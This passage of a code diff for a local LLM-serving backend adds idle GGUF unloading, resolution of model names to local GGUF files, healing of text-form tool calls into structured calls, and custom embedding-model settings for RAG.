scope.get("type") != "http"
or scope.get("method") != "POST"
or not _is_inference_path(scope.get("path") or "")
):
await self.app(scope, receive, send)
return
# Always track in-flight on inference paths, even when the feature is off,
# so a stream that starts before idle-unload is enabled can't be unloaded
# mid-response if the operator turns it on during that stream. Counting is
# cheap and invisible to clients (the response is proxied unchanged).
# Mark pending before the gate so the idle loop (which holds the gate while
# unloading) can't free the model while this request is waiting to start.
_note_pending()
started = False
try:
async with _unload_gate():
_note_start()
started = True
finally:
if not started:
_note_unpending()
ended = {"done": False}
status = {"code": None}
def _finish() -> None:
# A route that untracked itself already decremented; don't double-count.
if ended["done"]:
return
ended["done"] = True
if scope.get(_UNTRACKED_SCOPE_KEY):
return
# This middleware runs before FastAPI auth, so a 401/403 reaches here
# without ever touching llama.cpp. Decrement the in-flight count (to
# balance _note_start) but do NOT stamp activity, or repeated
# unauthenticated probes on an exposed server would keep the model warm
# and never let idle-unload free VRAM.
if status["code"] in (401, 403):
_note_untracked_end()
else:
_note_end()
async def send_wrapper(message):
if message.get("type") == "http.response.start":
status["code"] = message.get("status")
# Final body frame marks the end of a (possibly streaming) response.
elif message.get("type") == "http.response.body" and not message.get(
"more_body", False
):
_finish()
await send(message)
try:
await self.app(scope, receive, send_wrapper)
finally:
_finish()
def _loaded_identity(backend):
if not backend.is_loaded or not backend.model_identifier:
return None
# Third slot is the advertised id (repo id) an auto-switch load sets on the
# backend; it's the override key, so an idle stash keyed by the concrete load
# path doesn't drop the user's saved launch flags on the alias reload.
advertised = getattr(backend, "_openai_advertised_id", None) or backend.model_identifier
return (backend.model_identifier, getattr(backend, "hf_variant", None), advertised)
async def idle_unload_loop(poll_seconds: float = 15.0) -> None:
"""Unload the loaded GGUF once idle past the configured TTL. Inert when off."""
from utils.openai_auto_switch_settings import get_auto_unload_idle_seconds
seen_model = None
while True:
await asyncio.sleep(poll_seconds)
try:
ttl = get_auto_unload_idle_seconds()
if ttl <= 0:
continue
from routes.inference import get_llama_cpp_backend
backend = get_llama_cpp_backend()
# Track by (id, variant): a (re)loaded model -- including the same repo
# at a different quant -- counts as activity so it survives one TTL
# before its first request (loads bypass the activity middleware).
current = _loaded_identity(backend)
if current != seen_model:
seen_model = current
if current is not None:
_note_activity()
_set_last_unloaded(None) # a model is loaded; drop stale stash
async with _unload_gate():
if backend.is_loaded and _is_idle(ttl):
freed = _loaded_identity(backend)
await asyncio.to_thread(backend.unload_model)
_set_last_unloaded(freed) # let an alias request reload it
logger.info("Idle auto-unload: freed GGUF after %ss idle", ttl)
seen_model = None
except Exception as exc:
logger.debug("idle_unload_loop iteration failed: %s", exc)

269
studio/backend/core/inference/local_model_resolver.py Normal file
View file

@ -0,0 +1,269 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Resolve an OpenAI-request ``model`` string to a downloaded local GGUF.
Used by the opt-in auto-switch path. The match is conservative: only names
that map to an already-downloaded local GGUF (and a quant that is actually on
disk) are eligible, so an arbitrary OpenAI model string still falls through to
the loaded model (drop-in compat) and no surprise multi-GB download is ever
triggered. The local-model scan is cached for a few seconds since auto-switch
consults it per request.
"""
from __future__ import annotations
import threading
import time
from dataclasses import dataclass
from typing import Optional
from core.inference.model_ids import public_model_id
from loggers import get_logger
logger = get_logger(__name__)
@dataclass(frozen = True)
class _LocalGgufEntry:
loader_id: str # advertised id (repo id / folder name), also the override key
load_path: str # concrete on-disk dir/file passed to /load so it never downloads
variants: tuple[str, ...] # local quant labels; () for a standalone .gguf
_CACHE_TTL_S = 5.0
_lock = threading.Lock()
_scan: tuple[float, dict[str, _LocalGgufEntry]] = (0.0, {})
def _is_abs_path_id(value: str) -> bool:
"""True when an id is an absolute filesystem path (the ./models and LM Studio
scanners use the on-disk path as the id) rather than a repo id like org/name."""
from pathlib import Path
try:
return Path(value).is_absolute()
except Exception:
return False
def _advertised_loader_id(info) -> Optional[str]:
"""The id to advertise for a scanned model: prefer a client-facing alias over
an absolute filesystem path so /v1/models and the override key never expose a
host path (the ./models and LM Studio scanners report the path as info.id)."""
raw_id = getattr(info, "id", None)
if not raw_id or not _is_abs_path_id(raw_id):
return raw_id
for alt in (getattr(info, "model_id", None), getattr(info, "display_name", None)):
if alt and not _is_abs_path_id(alt):
return alt
# No clean alias: strip to a path-free public id so a host path is never advertised.
return public_model_id(raw_id) or raw_id
def _resolve_load_dir(p):
"""The concrete dir holding the GGUFs. For an HF cache repo (``models--*``
with ``snapshots/``) this is the latest snapshot dir, so /load takes the
local branch instead of the download-capable repo-id branch."""
from pathlib import Path
try:
if (p / "snapshots").is_dir():
from routes.models import _resolve_hf_cache_realpath
real = _resolve_hf_cache_realpath(p)
if real:
return Path(real)
except Exception:
pass
return p
def _local_gguf_entry(loader_id: str, info) -> Optional[_LocalGgufEntry]:
"""Build an entry only when GGUF quants are on disk (not Transformers/
safetensors), listing only on-disk quants. ``load_path`` is a concrete local
path so /load resolves the variant locally and never fetches a remote one."""
from pathlib import Path
from utils.models.model_config import _is_mmproj, list_local_gguf_variants
path = getattr(info, "path", None)
if not isinstance(path, str):
return None
p = Path(path)
try:
if p.is_file():
# A standalone .gguf loads by its own path; no quant sub-selection. An
# mmproj companion (vision/audio projector) is not a servable model on
# its own: _scan_models_dir's standalone-file pass does not filter it
# the way the directory scan does, so reject it here or /v1/models would
# advertise a projector and a switch could load it instead of the weights,
# evicting the loaded model. The directory branch below is already mmproj
# free (list_local_gguf_variants drops mmproj quants).
if p.suffix.lower() != ".gguf" or _is_mmproj(p.name):
return None
return _LocalGgufEntry(loader_id, str(p), ())
load_dir = _resolve_load_dir(p)
variants, _ = list_local_gguf_variants(str(load_dir))
quants = tuple(v.quant for v in variants if getattr(v, "quant", None))
return _LocalGgufEntry(loader_id, str(load_dir), quants) if quants else None
except Exception:
return None
def info_has_local_gguf(info) -> bool:
"""True when *info* (a LocalModelInfo) points to on-disk GGUF weights the
auto-switch path can load. Read from the files, not ``info.model_format``: the
HF-cache scanner leaves model_format unset for GGUF snapshots, so a
model_format filter would drop every cached GGUF. Lets /v1/models advertise
exactly what /v1 can serve."""
from pathlib import Path
path = getattr(info, "path", None)
# Ollama-link entries come from a scanner _build_index intentionally skips (it
# creates symlinks on the request path), so their advertised ids never resolve.
# Don't report them as servable, or /v1/models would list unswitchable models.
if isinstance(path, str) and any(
seg in (".studio_links", "ollama_links") for seg in Path(path).parts
):
return False
return _local_gguf_entry(getattr(info, "id", "") or "", info) is not None
def _build_index() -> dict[str, _LocalGgufEntry]:
"""Map normalized id/model_id/display_name -> local GGUF entry.
Scans the same roots Studio's model picker lists (./models, the active plus
legacy/default HF caches, LM Studio dirs, and user scan folders) so a named
local model is never missed and silently served as the loaded one. Ollama's
scanner is skipped: it creates symlinks as a side effect and this runs on the
request path.
"""
# Lazy import: routes.models imports core.inference, so import at call time.
from pathlib import Path
from routes.models import (
_scan_models_dir,
_scan_hf_cache,
_scan_lmstudio_dir,
_resolve_hf_cache_dir,
_is_hidden_model,
)
from utils.paths import legacy_hf_cache_dir, hf_default_cache_dir, lmstudio_model_dirs
index: dict[str, _LocalGgufEntry] = {}
seen_hf: set[str] = set()
def _scan_hf_once(directory) -> list:
if directory is None:
return []
try:
d = Path(directory)
if not d.is_dir():
return []
rp = str(d.resolve())
if rp in seen_hf:
return []
seen_hf.add(rp)
return _scan_hf_cache(directory)
except Exception as exc: # a missing/malformed root must skip, never crash the index
logger.debug("auto-switch: skipping HF cache dir %r: %s", directory, exc)
return []
# Each source is guarded on its own so one bad root (a permission error, a
# malformed cache) drops only that source, not the whole index.
found: list = []
try:
found += _scan_models_dir(Path("./models").resolve())
except Exception as exc:
logger.debug("auto-switch: ./models scan failed: %s", exc)
try:
for hf_dir in (_resolve_hf_cache_dir(), legacy_hf_cache_dir(), hf_default_cache_dir()):
found += _scan_hf_once(hf_dir)
except Exception as exc:
logger.debug("auto-switch: HF cache scan failed: %s", exc)
try:
for lm_dir in lmstudio_model_dirs():
found += _scan_lmstudio_dir(lm_dir)
except Exception as exc:
logger.debug("auto-switch: LM Studio scan failed: %s", exc)
try:
from storage.studio_db import list_scan_folders
for folder in list_scan_folders():
try:
fp = Path(folder["path"])
found += (
_scan_models_dir(fp, limit = 200) + _scan_hf_once(fp) + _scan_lmstudio_dir(fp)
)
except Exception as exc:
logger.debug("auto-switch: scan folder %r failed: %s", folder, exc)
except Exception as exc:
logger.debug("auto-switch: scan folders enumerate failed: %s", exc)
for info in found:
raw_id = getattr(info, "id", None)
if not raw_id:
continue
# Skip what Studio hides from its pickers (validation probe, RAG embed
# weights): not chat models, so never an auto-switch target.
if _is_hidden_model(raw_id, getattr(info, "path", None)):
continue
# Advertise a client-facing alias, not an absolute filesystem path.
loader_id = _advertised_loader_id(info)
entry = _local_gguf_entry(loader_id, info)
if entry is None:
continue
# Index every alias (including the path) so a client can resolve by any of
# them, even though only the non-path loader_id is advertised.
for key in (raw_id, getattr(info, "model_id", None), getattr(info, "display_name", None)):
if key:
index.setdefault(key.strip().lower(), entry)
return index
def _index() -> dict[str, _LocalGgufEntry]:
global _scan
# Build under the lock so concurrent callers with an expired cache don't all
# run the (multi-dir) scan at once; the rest wait and reuse the fresh result.
with _lock:
now = time.monotonic()
ts, cached = _scan
if now - ts < _CACHE_TTL_S:
return cached
fresh = _build_index()
# Stamp AFTER the scan, not with the pre-scan ``now``: a multi-root scan on
# an install with many local models can itself exceed the TTL, which would
# store the cache already expired and make every request rebuild the index.
_scan = (time.monotonic(), fresh)
return fresh
def resolve_local_gguf(requested: str) -> Optional[tuple[str, Optional[str], str]]:
"""Return ``(load_path, gguf_variant, loader_id)`` for a local match, else None.
``load_path`` is the concrete on-disk path to hand /load (so it never fetches
a remote), ``loader_id`` is the advertised id used as the launch-override key.
``requested`` is ``repo`` or ``repo:VARIANT``. An exact id match wins first
(so ids containing a colon still resolve); else the last ``:VARIANT`` is split
off and resolves only when that quant is on disk.
"""
if not isinstance(requested, str) or not requested.strip():
return None
requested = requested.strip()
try:
index = _index()
entry = index.get(requested.lower())
if entry is not None:
variant = entry.variants[0] if entry.variants else None
return entry.load_path, variant, entry.loader_id
base, sep, variant = requested.rpartition(":")
if not sep:
return None
entry = index.get(base.strip().lower())
if entry is None:
return None
wanted = variant.strip().lower()
for v in entry.variants:
if v.lower() == wanted:
return entry.load_path, v, entry.loader_id
return None
except Exception:
# Best-effort: any resolver failure falls through to the loaded model,
# so a malformed name can never turn a servable request into a 500.
return None

535
studio/backend/core/inference/passthrough_healing.py Normal file
View file

@ -0,0 +1,535 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Tool-call healing for the client-tool passthrough.
With server-side tools disabled (``unsloth run --disable-tools``, every
``unsloth start`` coding agent), requests carrying the client's own ``tools``
bypass Studio's tool loop and are relayed to/from llama-server verbatim. Small
GGUF models often emit their tool calls as TEXT (``<tool_call>{...}</tool_call>``,
Gemma ``<|tool_call>...``, ``<function=...>`` XML) instead of structured
``tool_calls`` -- on the passthrough that text reaches the agent as prose and
the turn dies. This module promotes such text back into structured calls on the
RESPONSE side only: the upstream request body is never touched, no extra
generation is issued, so llama-server slot/KV-cache reuse is byte-identical.
Healing only ever fires when the request declared client tools, and only
promotes calls whose function name exactly matches a declared tool. Promotion
removes EXACTLY the promoted calls' markup spans (the parser reports them):
undeclared calls, unparseable blocks, and suppressed alternate formats keep
every byte and relay as text, so healing can never silently delete model
output. Responses without a tool signal, requests without tools, and Studio's
own enable-tools loop are untouched. Per-request opt-out:
``auto_heal_tool_calls: false``. Process kill-switch:
``UNSLOTH_DISABLE_TOOL_CALL_HEALING=1``.
"""
import json
import os
from collections.abc import Mapping
from typing import Any, Optional
from core.inference.tool_call_parser import TOOL_XML_SIGNALS, has_tool_signal
from core.inference.tool_loop_controller import coerce_tool_arguments
from core.tool_healing import parse_tool_calls_from_text
# Read once at import (same convention as the other UNSLOTH_* switches).
_HEALING_DISABLED = os.environ.get("UNSLOTH_DISABLE_TOOL_CALL_HEALING", "0") == "1"
# Nudging is OPT-IN: per-request nudge_tool_calls=true, or flip the process
# default with UNSLOTH_TOOL_CALL_NUDGE=1 (e.g. an `unsloth run` operator).
_NUDGE_DEFAULT = os.environ.get("UNSLOTH_TOOL_CALL_NUDGE", "0") == "1"
def nudge_enabled(request_flag: Optional[bool]) -> bool:
return _NUDGE_DEFAULT if request_flag is None else bool(request_flag)
_MAX_SIGNAL_LEN = max(len(s) for s in TOOL_XML_SIGNALS)
# A suspected-but-unclosed tool block larger than this is declared a false
# alarm and flushed, bounding memory on a model rambling XML-lookalike text.
_MAX_HOLD_CHARS = 64 * 1024
def heal_gate(
auto_heal: Optional[bool],
tools: Optional[list],
tool_choice: Any = None,
) -> Optional[set]:
"""Return the declared client-tool name set when healing applies, else None.
``tools`` is the OpenAI-shaped list forwarded to llama-server
(``[{"type": "function", "function": {"name": ...}}, ...]``). The name set
doubles as the promotion allowlist so healed calls can never invent a tool
the client did not declare.
``tool_choice`` (OpenAI shape) constrains the allowlist so healing never
contradicts the request: ``"none"`` forbids tool calls outright (text-form
markup stays text), and a forced ``{"type": "function", "function":
{"name": N}}`` narrows promotion to that one function. ``"auto"`` /
``"required"`` / absent keep the full declared set.
"""
if _HEALING_DISABLED or auto_heal is False:
return None
if tool_choice == "none":
return None
names = set()
for tool in tools or []:
if not isinstance(tool, dict):
continue
function = tool.get("function")
if isinstance(function, dict) and isinstance(function.get("name"), str):
names.add(function["name"])
if isinstance(tool_choice, dict):
function = tool_choice.get("function")
forced = function.get("name") if isinstance(function, dict) else None
if isinstance(forced, str):
names &= {forced}
return names or None
def _tool_schemas_by_name(tools: Optional[list]) -> dict[str, Any]:
schemas: dict[str, Any] = {}
for tool in tools or []:
if not isinstance(tool, dict):
continue
function = tool.get("function")
if not isinstance(function, dict):
continue
name = function.get("name")
if isinstance(name, str):
schemas[name] = function.get("parameters")
return schemas
def _string_arg_key_from_schema(schema: Any) -> Optional[str]:
if not isinstance(schema, dict):
return None
properties = schema.get("properties")
required = schema.get("required")
if not isinstance(properties, dict) or not isinstance(required, list):
return None
required_names = [name for name in required if isinstance(name, str)]
if len(required_names) != 1:
return None
key = required_names[0]
if key not in properties:
return None
prop_schema = properties.get(key)
if isinstance(prop_schema, dict):
prop_type = prop_schema.get("type")
if isinstance(prop_type, list):
if "string" not in prop_type:
return None
elif prop_type is not None and prop_type != "string":
return None
return key
def _coerce_promoted_arguments(
raw_args: Any, tool_name: str, tool_schemas: Optional[dict]
) -> Optional[dict]:
if isinstance(raw_args, Mapping):
return dict(raw_args)
if isinstance(raw_args, str):
try:
parsed = json.loads(raw_args)
if isinstance(parsed, Mapping):
return dict(parsed)
except (json.JSONDecodeError, ValueError):
pass
if tool_schemas is not None:
key = _string_arg_key_from_schema(tool_schemas.get(tool_name))
return {key: raw_args} if key else None
coerced = coerce_tool_arguments(raw_args, heal = True, tool_name = tool_name)
return coerced.arguments
def _promote(
calls: list,
allowed_tools: set,
id_offset: int = 0,
tool_schemas: Optional[dict] = None,
) -> list:
"""Filter parsed calls to declared tools and normalize their arguments.
Bare string arguments on the client-tool passthrough use the declared
schema's single required string property. If the schema is ambiguous, the
call stays text instead of inventing a generic key.
"""
promoted = []
for call in calls:
function = call.get("function") if isinstance(call, dict) else None
name = function.get("name") if isinstance(function, dict) else None
if name not in allowed_tools:
continue
arguments = _coerce_promoted_arguments(function.get("arguments"), name, tool_schemas)
if arguments is None:
continue
promoted.append(
{
"id": f"call_{id_offset + len(promoted)}",
"type": "function",
"function": {
"name": name,
"arguments": json.dumps(arguments, ensure_ascii = False),
},
}
)
return promoted
def _remove_spans(text: str, spans: list) -> str:
"""Text with the given non-overlapping, sorted (start, end) ranges removed."""
pieces = []
pos = 0
for start, end in spans:
pieces.append(text[pos:start])
pos = end
pieces.append(text[pos:])
return "".join(pieces)
def heal_openai_message_events(
msg: dict,
allowed_tools: set,
tools: Optional[list] = None,
) -> Optional[list]:
if not isinstance(msg, dict) or msg.get("tool_calls"):
return None
content = msg.get("content")
if not isinstance(content, str) or not has_tool_signal(content):
return None
parsed, spans = parse_tool_calls_from_text(content, allow_incomplete = True, with_spans = True)
tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
events: list = []
pos = 0
call_count = 0
for call, (start, end) in zip(parsed, spans):
promoted = _promote([call], allowed_tools, id_offset = call_count, tool_schemas = tool_schemas)
if promoted:
if content[pos:start]:
events.append(("text", content[pos:start]))
events.append(("tool_call", promoted[0]))
call_count += 1
else:
events.append(("text", content[pos:end]))
pos = end
if not call_count:
return None
if content[pos:]:
events.append(("text", content[pos:]))
return events
def heal_openai_message(
msg: dict,
allowed_tools: set,
tools: Optional[list] = None,
) -> bool:
"""Promote text-form tool calls in a non-streaming OpenAI message. In place.
No-op (returns False) unless the message has NO structured ``tool_calls``
(grammar mode already worked when it does) and its content carries a tool
signal that parses into at least one declared call. Only the promoted
calls' markup spans are removed from the content; undeclared calls and
anything the parser did not consume stay in the text byte-intact.
"""
events = heal_openai_message_events(msg, allowed_tools, tools)
if not events:
return False
calls = [value for kind, value in events if kind == "tool_call"]
content = "".join(value for kind, value in events if kind == "text").strip()
msg["tool_calls"] = calls
# OpenAI requires content = null on a pure tool-call turn.
msg["content"] = content or None
return True
def _earliest_signal(buffer: str) -> int:
best = -1
for signal in TOOL_XML_SIGNALS:
index = buffer.find(signal)
if index >= 0 and (best < 0 or index < best):
best = index
return best
def _closed_signal_span(buffer: str) -> Optional[tuple[int, int]]:
spans = []
for open_tag, close_tag in (
("<tool_call>", "</tool_call>"),
("<|tool_call>", "<tool_call|>"),
("<function=", "</function>"),
):
start = buffer.find(open_tag)
if start < 0:
continue
end = buffer.find(close_tag, start)
if end >= 0:
spans.append((start, end + len(close_tag)))
return min(spans, key = lambda span: span[0]) if spans else None
def _partial_signal_suffix(buffer: str) -> int:
"""Length of the longest buffer suffix that is a proper prefix of a signal."""
for length in range(min(len(buffer), _MAX_SIGNAL_LEN - 1), 0, -1):
tail = buffer[-length:]
if any(signal.startswith(tail) for signal in TOOL_XML_SIGNALS):
return length
return 0
class StreamToolCallHealer:
"""Buffer-and-repair state machine for streamed passthrough content.
``feed(text)`` / ``finalize()`` yield ``("text", str)`` events for content
to relay and ``("tool_call", dict)`` events carrying an OpenAI-shaped call
(string ``function.arguments``). Normal prose is forwarded immediately; only
a trailing partial-signal window (< max signal length) or a suspected tool
block is ever withheld, so streaming latency stays bounded. A false alarm
(the buffer can no longer become a parseable declared call) flushes the held
text verbatim.
"""
def __init__(
self,
allowed_tools: set,
tools: Optional[list] = None,
) -> None:
self._allowed = set(allowed_tools)
self._tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
self._buffer = ""
self._holding = False
self._id_offset = 0
# Structured delta.tool_calls seen upstream: grammar mode already
# worked, so healing goes dormant and text relays verbatim.
self.dormant = False
@property
def healed(self) -> bool:
return self._id_offset > 0
def structured_tool_call_seen(self) -> list:
"""Go dormant; flush anything held so no text is swallowed."""
self.dormant = True
held, self._buffer, self._holding = self._buffer, "", False
return [("text", held)] if held else []
def feed(self, text: str) -> list:
if self.dormant:
return [("text", text)] if text else []
self._buffer += text
return self._drain()
def _drain(self) -> list:
events: list = []
while True:
if not self._holding:
start = _earliest_signal(self._buffer)
if start >= 0:
if start:
events.append(("text", self._buffer[:start]))
self._buffer = self._buffer[start:]
self._holding = True
else:
keep = _partial_signal_suffix(self._buffer)
emit = self._buffer[: len(self._buffer) - keep]
if emit:
events.append(("text", emit))
self._buffer = self._buffer[len(self._buffer) - keep :]
return events
# HOLD: handle the FIRST complete block per pass so events keep
# document order (a later declared call must not overtake an
# earlier undeclared one flushing as text).
parsed, spans = parse_tool_calls_from_text(
self._buffer,
id_offset = self._id_offset,
allow_incomplete = False,
with_spans = True,
)
if not parsed:
closed_span = _closed_signal_span(self._buffer)
if closed_span:
_start, end = closed_span
events.append(("text", self._buffer[:end]))
self._buffer = self._buffer[end:]
self._holding = False
continue
if len(self._buffer) > _MAX_HOLD_CHARS:
events.append(("text", self._buffer))
self._buffer = ""
self._holding = False
continue
return events
start, end = spans[0]
promoted = _promote(
[parsed[0]],
self._allowed,
id_offset = self._id_offset,
tool_schemas = self._tool_schemas,
)
if promoted:
if start:
events.append(("text", self._buffer[:start]))
events.append(("tool_call", promoted[0]))
self._id_offset += 1
# Drop exactly the promoted markup span; everything else
# (leading text, later blocks) stays and is rescanned.
self._buffer = self._buffer[end:]
else:
# Undeclared or unusable name: its markup is DATA, flush it
# (and anything before it) verbatim, then rescan the rest.
events.append(("text", self._buffer[:end]))
self._buffer = self._buffer[end:]
self._holding = False
def finalize(self) -> list:
"""End of stream: last-chance heal of the residue, else flush it.
Events keep document order; only the promoted calls' markup spans are
dropped, every other residue byte flushes as text.
"""
if not self._buffer:
return []
residue, self._buffer = self._buffer, ""
holding, self._holding = self._holding, False
if self.dormant or not holding:
return [("text", residue)]
parsed, spans = parse_tool_calls_from_text(
residue,
id_offset = self._id_offset,
allow_incomplete = True,
with_spans = True,
)
events: list = []
pos = 0
any_promoted = False
for call, (start, end) in zip(parsed, spans):
promoted = _promote(
[call],
self._allowed,
id_offset = self._id_offset,
tool_schemas = self._tool_schemas,
)
if promoted:
if residue[pos:start]:
events.append(("text", residue[pos:start]))
events.append(("tool_call", promoted[0]))
self._id_offset += 1
any_promoted = True
else:
events.append(("text", residue[pos:end]))
pos = end
if not any_promoted:
return [("text", residue)]
tail = residue[pos:].strip()
if tail:
events.append(("text", tail))
return events
def _first_choice_message(data: Any) -> Optional[dict]:
"""First-choice message dict of a non-streaming chat response, else None.
Upstream error bodies can carry ``"message": null`` (or no choices at all),
so never assume the shape: a non-dict message means "nothing to heal".
"""
try:
message = data["choices"][0]["message"]
except (KeyError, IndexError, TypeError):
return None
return message if isinstance(message, dict) else None
def _last_assistant_text(data: Any) -> str:
"""First-choice assistant content of a non-streaming chat response, or ''."""
message = _first_choice_message(data)
content = message.get("content") if message else None
return content if isinstance(content, str) else ""
def _heal_would_promote(
text: str,
allowed_tools: set,
tools: Optional[list] = None,
) -> bool:
"""Whether ``heal_openai_message`` would promote at least one call."""
parsed = parse_tool_calls_from_text(text, allow_incomplete = True)
tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
return bool(_promote(parsed, allowed_tools, tool_schemas = tool_schemas))
def response_has_promotable_calls(
data: Any,
allowed_tools: set,
tools: Optional[list] = None,
) -> bool:
"""True when a non-streaming chat response carries a usable tool call
(structured naming a DECLARED tool, or text-form that healing would
promote). Used to decide whether a nudge retry actually improved on the
original response; a hallucinated undeclared call is not an improvement."""
message = _first_choice_message(data)
if not message:
return False
tool_calls = message.get("tool_calls")
if tool_calls:
# ALL structured calls must be declared: the caller forwards the whole
# list (and a parallel cap could keep only the FIRST one), so a mixed
# response with a single hallucinated name could still hand the client
# an undeclared tool.
return all(
isinstance(tc, dict)
and isinstance(tc.get("function"), dict)
and tc["function"].get("name") in allowed_tools
for tc in tool_calls
)
text = message.get("content")
if not isinstance(text, str):
return False
return _heal_would_promote(text, allowed_tools, tools)
def nudge_should_retry(
data: Any,
allowed_tools: Optional[set],
tools: Optional[list] = None,
) -> bool:
"""True when the first response tried to call a tool but nothing healed.
Trigger only on: healing enabled (allowed_tools set), zero structured
calls, a tool signal present in the text, and zero promotable calls -- the
exact failure a single re-ask can fix. Clean prose never retries.
"""
if not allowed_tools:
return False
message = _first_choice_message(data)
if not message or message.get("tool_calls"):
return False
text = message.get("content")
if not isinstance(text, str) or not has_tool_signal(text):
return False
return not _heal_would_promote(text, allowed_tools, tools)
def nudge_messages(data: Any, allowed_tools: set) -> list:
"""The two-message suffix appended for the single nudge retry.
The retry body is the original body plus this suffix, so the prompt prefix
is byte-identical and llama-server's slot/prefix cache is reused (same
shape as the enable-tools loop's reprompt).
"""
tool_hint = " or ".join(f"`{name}`" for name in sorted(allowed_tools)) or "an available tool"
return [
{"role": "assistant", "content": _last_assistant_text(data)},
{
"role": "user",
"content": (
"You have access to the declared tools. If a tool is needed to "
f"complete the action you described, call {tool_hint} now using the "
"native tool-call format with valid JSON arguments, not prose. If no "
"tool is needed, provide the final answer directly."
),
},
]

2
studio/backend/core/rag/captioner.py
View file

@ -128,6 +128,8 @@ def _vision_complete(
json = payload,
timeout = timeout,
headers = _vision_auth_headers(),
# trust_env=False: base_url is the loopback backend; skip any HTTP(S)_PROXY.
trust_env = False,
)
r.raise_for_status()
text = r.json()["choices"][0]["message"]["content"]

41
studio/backend/core/rag/config.py
View file

@ -6,8 +6,10 @@
from __future__ import annotations
import os
import re
EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", "unsloth/bge-small-en-v1.5")
DEFAULT_EMBEDDING_MODEL = "unsloth/bge-small-en-v1.5"
EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", DEFAULT_EMBEDDING_MODEL)
# Under bge's 512 limit, leaving headroom for the 2 special tokens (else overflow:
# llama-server 500s, ST truncates). Keep <= embedder_max - ~12.
CHUNK_TOKENS = int(os.environ.get("RAG_CHUNK_TOKENS", "500"))
@ -66,6 +68,43 @@ OCR_MAX_TOKENS = int(os.environ.get("RAG_OCR_MAX_TOKENS", "2048"))
# wins bulk indexing), else torch-free GGUF llama-server. Switching backends changes
# the vectors, so the index must be rebuilt.
EMBED_BACKEND = os.environ.get("RAG_EMBED_BACKEND", "auto")
def effective_embedding_model() -> str:
"""The embedding model actually in use: the persisted Settings override when
one is stored, else ``EMBEDDING_MODEL`` (env/default). Read at call time so a
Settings change applies without a restart."""
try:
from utils.embedding_model_settings import get_rag_embedding_model
return get_rag_embedding_model()
except Exception: # noqa: BLE001 - settings store unavailable (tests, early boot)
return EMBEDDING_MODEL
def _names_gguf(model: str) -> bool:
"""True when "gguf" appears as a whole name segment, so plain substrings
like "bigguf" don't count."""
return "gguf" in re.split(r"[^a-z0-9]+", model.lower())
def effective_gguf_repo() -> str:
"""GGUF repo for the llama-server backend, tracking the effective model.
An explicit ``RAG_EMBED_GGUF_REPO`` env always wins. Otherwise any custom
model (saved in Settings or via ``RAG_EMBEDDING_MODEL``) maps to its
``-GGUF`` companion repo (the unsloth convention the default pair follows),
or is used as-is when it already names a GGUF repo.
"""
if "RAG_EMBED_GGUF_REPO" in os.environ:
return EMBED_GGUF_REPO
model = effective_embedding_model()
if model == DEFAULT_EMBEDDING_MODEL:
return EMBED_GGUF_REPO
if _names_gguf(model):
return model
return f"{model}-GGUF"
# llama-server backend only. F16 over Q8_0: faster (no per-block dequant for this
# tiny model) and exact vs fp32, for ~30MB more on disk.
EMBED_GGUF_REPO = os.environ.get("RAG_EMBED_GGUF_REPO", "unsloth/bge-small-en-v1.5-GGUF")

115
studio/backend/core/rag/embed_llama_server.py
View file

@ -55,15 +55,20 @@ class LlamaServerBackend:
self._port: int | None = None
self._stdout_lines: list[str] = []
self._stdout_thread: threading.Thread | None = None
# No lock: probes are idempotent (a duplicate 1-text encode is benign)
# and dim() -> encode() -> _ensure_ready() -> _resolve_model_path() can
# re-enter on a mid-probe model change, which would self-deadlock a
# non-reentrant lock held across the probe.
self._dim: int | None = None
self._dim_lock = threading.Lock()
self._model_path: str | None = None
# Effective GGUF repo the cached path/dim belong to; a Settings change
# makes it stale, forcing a re-resolve + respawn (see _ensure_ready).
self._model_repo: str | None = None
self._binary: str | None = None
# Sticky after an auto GPU start fails: later spawns stay on CPU.
self._force_cpu = False
# Pooled client; requests pass full URLs, so a respawn's new port needs
# no rebuild.
self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S)
# Pooled client (full URLs per request survive a respawn); trust_env=False skips HTTP(S)_PROXY.
self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S, trust_env = False)
atexit.register(self._shutdown)
@property
@ -115,24 +120,77 @@ class LlamaServerBackend:
"RAG_EMBED_BACKEND=llama-server requires an embeddings-capable build"
)
@staticmethod
def _resolve_local_gguf(model: str) -> str | None:
"""A custom model may be a local .gguf file or a directory holding one;
resolve it without the hub. None when the value is not a local path."""
p = Path(model).expanduser()
if p.is_file() and p.suffix.lower() == ".gguf":
return str(p)
if p.is_dir():
files = [
f
for f in p.iterdir()
if f.suffix.lower() == ".gguf" and "mmproj" not in f.name.lower()
]
if not files:
raise RuntimeError(f"no .gguf file found in local model dir {model!r}")
variant = config.EMBED_GGUF_VARIANT.lower()
match = [f for f in files if variant in f.name.lower()] or files
return str(sorted(match, key = lambda f: len(f.name))[0])
return None
def _resolve_model_path(self) -> str:
"""Download (or cache-hit) the variant-matching, non-mmproj GGUF embedder,
returning its local path."""
if self._model_path is not None:
returning its local path. Re-resolves when the effective repo changed (a
custom model was saved in Settings)."""
# Captured once: if the setting changes mid-download, the path must stay
# tagged with the repo it was resolved FOR, so _current() sees the new
# setting as stale and respawns instead of serving the old model.
desired = config.effective_gguf_repo()
if self._model_path is not None and self._model_repo == desired:
return self._model_path
local = self._resolve_local_gguf(config.effective_embedding_model())
if local is not None:
self._model_path = local
self._model_repo = desired
self._dim = None
return self._model_path
from huggingface_hub import hf_hub_download, list_repo_files
repo = config.EMBED_GGUF_REPO
token = os.environ.get("HF_TOKEN") or None
files = [f for f in list_repo_files(repo, token = token) if f.lower().endswith(".gguf")]
files = [f for f in files if "mmproj" not in f.lower()]
# A custom model derives its "-GGUF" companion repo; when that guess does
# not exist, the model repo itself may host the .gguf files.
repo = desired
candidates = [repo]
model = config.effective_embedding_model()
if model != repo:
candidates.append(model)
files: list[str] = []
errors: list[str] = []
for candidate in candidates:
try:
files = [
f
